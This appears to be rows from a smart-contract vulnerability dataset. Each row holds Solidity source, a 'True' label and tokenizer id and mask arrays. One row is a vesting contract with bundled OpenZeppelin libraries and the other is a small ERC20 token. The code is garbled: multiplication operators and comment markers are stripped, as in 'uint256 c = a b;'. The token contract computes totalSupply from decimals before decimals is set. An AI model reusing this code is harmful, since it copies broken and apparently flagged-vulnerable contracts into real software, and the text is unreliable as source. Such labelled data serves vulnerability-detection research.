"@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract BaseVesting is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Counters for Counters.Counter; struct Investor { uint256 paidAmount; uint256 timeRewardPaid; } uint256 internal constant PERIOD = 1 days; uint256 internal constant PERCENTAGE = 1e20; IERC20 public immutable token; uint256 public immutable startDate; uint256 public immutable totalAllocatedAmount; uint256 public immutable vestingDuration; uint256 public immutable tokensForLP; uint256 public immutable tokensForNative; uint256 public vestingTimeEnd; uint256 public everyDayReleasePercentage; event RewardPaid(address indexed investor, uint256 amount); mapping(address => Counters.Counter) public nonces; mapping(address => bool) public trustedSigner; mapping(address => Investor) public investorInfo; constructor( address signer_, address token_, uint256 startDate_, uint256 vestingDuration_, uint256 totalAllocatedAmount_ ) { require(signer_ != address(0), "Invalid signer address"); require(token_ != address(0), "Invalid reward token address"); require(vestingDuration_ > 0, "The vesting duration cannot be 0"); require( totalAllocatedAmount_ > 0, "The number of tokens for distribution cannot be 0" ); token = IERC20(token_); startDate = startDate_; vestingDuration = vestingDuration_; vestingTimeEnd = startDate_.add(vestingDuration_); uint256 periods = vestingDuration_.div(PERIOD); everyDayReleasePercentage = PERCENTAGE.div(periods); totalAllocatedAmount = totalAllocatedAmount_; uint256 nativeTokens = totalAllocatedAmount_.div(3); tokensForNative = nativeTokens; tokensForLP = totalAllocatedAmount_.sub(nativeTokens); trustedSigner[signer_] = true; } /** * @notice Adds new signer or removes permission from existing * @param signer signer address * @param permission set permission for signer address / function changeSignerList(address signer, bool permission) external onlyOwner { _changePermission(signer, permission); } /* * @dev emergency tokens withdraw * @param tokenAddress_ token address * @param amount amount to withdraw / function emergencyTokenWithdraw(address tokenAddress_, uint256 amount) external onlyOwner { require(block.timestamp > vestingTimeEnd, "Vesting is still running"); IERC20 tokenAddress = IERC20(tokenAddress_); tokenAddress.safeTransfer(msg.sender, amount); } /* * @dev Withdraw reward tokens from distribution contract by investor * @param portionLP investor portion for LP stake * @param portionNative investor portion for Native stake * @dev Last three parameters is signature from signer / function withdrawReward( uint256 portionLP, uint256 portionNative, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { require( portionLP <= PERCENTAGE && portionNative <= PERCENTAGE, "The percentage cannot be greater than 100" ); require(deadline >= block.timestamp, "Expired"); bool access = _isValidData( msg.sender, portionLP, portionNative, deadline, v, r, s ); require(access, "Permission not granted"); _withdrawReward(msg.sender, portionLP, portionNative); } /* * @dev Returns current available rewards for investor * @param percentageLP investor percenage for LP stake * @param percentageNative investor percentage for Native stake / function getRewardBalance( address beneficiary, uint256 percentageLP, uint256 percentageNative ) public view returns (uint256 amount) { uint256 reward = _getRewardBalance(percentageLP, percentageNative); Investor storage investor = investorInfo[beneficiary]; uint256 balance = token.balanceOf(address(this)); if (reward <= investor.paidAmount) { return 0; } else { uint256 amountToPay = reward.sub(investor.paidAmount); if (amountToPay >= balance) { return balance; } return amountToPay; } } function _withdrawReward( address beneficiary, uint256 percentageLP, uint256 percentageNative ) private { uint256 reward = _getRewardBalance(percentageLP, percentageNative); Investor storage investor = investorInfo[beneficiary]; uint256 balance = token.balanceOf(address(this)); require(reward > investor.paidAmount, "No rewards available"); uint256 amountToPay = reward - investor.paidAmount; if (amountToPay >= balance) { amountToPay = balance; investor.paidAmount = amountToPay.add(investor.paidAmount); } else { investor.paidAmount = reward; } investor.timeRewardPaid = block.timestamp; token.safeTransfer(beneficiary, amountToPay); emit RewardPaid(beneficiary, amountToPay); } function _getRewardBalance(uint256 lpPercentage, uint256 nativePercentage) private view returns (uint256) { uint256 vestingAvailablePercentage = _calculateAvailablePercentage(); uint256 amountAvailableForLP = tokensForLP .mul(vestingAvailablePercentage) .div(PERCENTAGE); uint256 amountAvailableForNative = tokensForNative .mul(vestingAvailablePercentage) .div(PERCENTAGE); uint256 rewardToPayLP = amountAvailableForLP.mul(lpPercentage).div( PERCENTAGE ); uint256 rewardToPayNative = amountAvailableForNative .mul(nativePercentage) .div(PERCENTAGE); return rewardToPayLP.add(rewardToPayNative); } function _calculateAvailablePercentage() internal view virtual returns (uint256) { uint256 currentTimeStamp = block.timestamp; if (currentTimeStamp < vestingTimeEnd) { uint256 noOfDays = currentTimeStamp.sub(startDate).div(PERIOD); uint256 currentUnlockedPercentage = noOfDays.mul( everyDayReleasePercentage ); return currentUnlockedPercentage; } else { return PERCENTAGE; } } /* * @dev data and signature validation * @param addr investor address * @param portionLP investor portion for LP stake * @param portionNative investor portion for Native stake * @dev Last three parameters is signature from signer / function _isValidData( address addr, uint256 portionLP, uint256 portionNative, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal returns (bool) { require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 \|\| v == 28, "ECDSA: invalid signature 'v' value"); bytes32 message = keccak256( abi.encodePacked( address(this), addr, portionLP, portionNative, nonces[addr].current(), deadline ) ); address sender = ecrecover(message, v, r, s); if (trustedSigner[sender]) { nonces[addr].increment(); return true; } else { return false; } } function _changePermission(address signer, bool permission) internal { require(signer != address(0), "Invalid signer address"); trustedSigner[signer] = permission; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. / library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1012, 1012, 1013, 2918, 8663, 6494, 16649, 1013, 2918, 6961, 3436, 1012, 14017, 1000, 1025, 3206, 11320, 16118, 26775, 20668, 2003, 2918, 6961, 3436, 1063, 9570, 2953, 1006, 4769, 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pragma solidity ^0.4.21; contract NetkillerToken { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); /* This creates an array with all balances / mapping (address => uint256) public balanceOf; function NetkillerToken(uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits) public { owner = msg.sender; totalSupply = initialSupply 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } /* Send coins / function transfer(address _to, uint256 _value) public { / Check if the sender has balance and for overflows / require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]); / Add and subtract new balances / balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; / Notify anyone listening that this transfer took place */ emit Transfer(msg.sender, _to, _value); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3206, 5658, 15872, 8743, 11045, 2078, 1063, 4769, 2270, 3954, 1025, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1008, 2023, 9005, 2019, 9140, 2007, 2035, 5703, 2015, 1008, 1013, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 3853, 5658, 15872, 8743, 11045, 2078, 1006, 21318, 3372, 17788, 2575, 20381, 6279, 22086, 1010, 5164, 19204, 18442, 1010, 5164, 19204, 6508, 13344, 2140, 1010, 21318, 3372, 26066, 19496, 3215, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 21948, 6279, 22086, 1027, 20381, 6279, 22086, 1008, 2184, 1008, 1008, 21318, 3372, 17788, 2575, 1006, 26066, 2015, 1007, 1025, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 21948, 6279, 22086, 1025, 2171, 1027, 19204, 18442, 1025, 6454, 1027, 19204, 6508, 13344, 2140, 1025, 26066, 2015, 1027, 26066, 19496, 3215, 1025, 1065, 1013, 1008, 4604, 7824, 1008, 1013, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 2270, 1063, 1013, 1008, 4638, 2065, 1996, 4604, 2121, 2038, 5703, 1998, 2005, 2058, 12314, 2015, 1008, 1013, 5478, 1006, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1028, 1027, 1035, 3643, 1004, 1004, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 1035, 3643, 1028, 1027, 5703, 11253, 1031, 1035, 2000, 1033, 1007, 1025, 1013, 1008, 5587, 1998, 4942, 6494, 6593, 2047, 5703, 2015, 1008, 1013, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1011, 1027, 1035, 3643, 1025, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 1027, 1035, 3643, 1025, 1013, 1008, 2025, 8757, 3087, 5962, 2008, 2023, 4651, 2165, 2173, 1008, 1013, 12495, 2102, 4651, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 1035, 2000, 1010, 1035, 3643, 1007, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 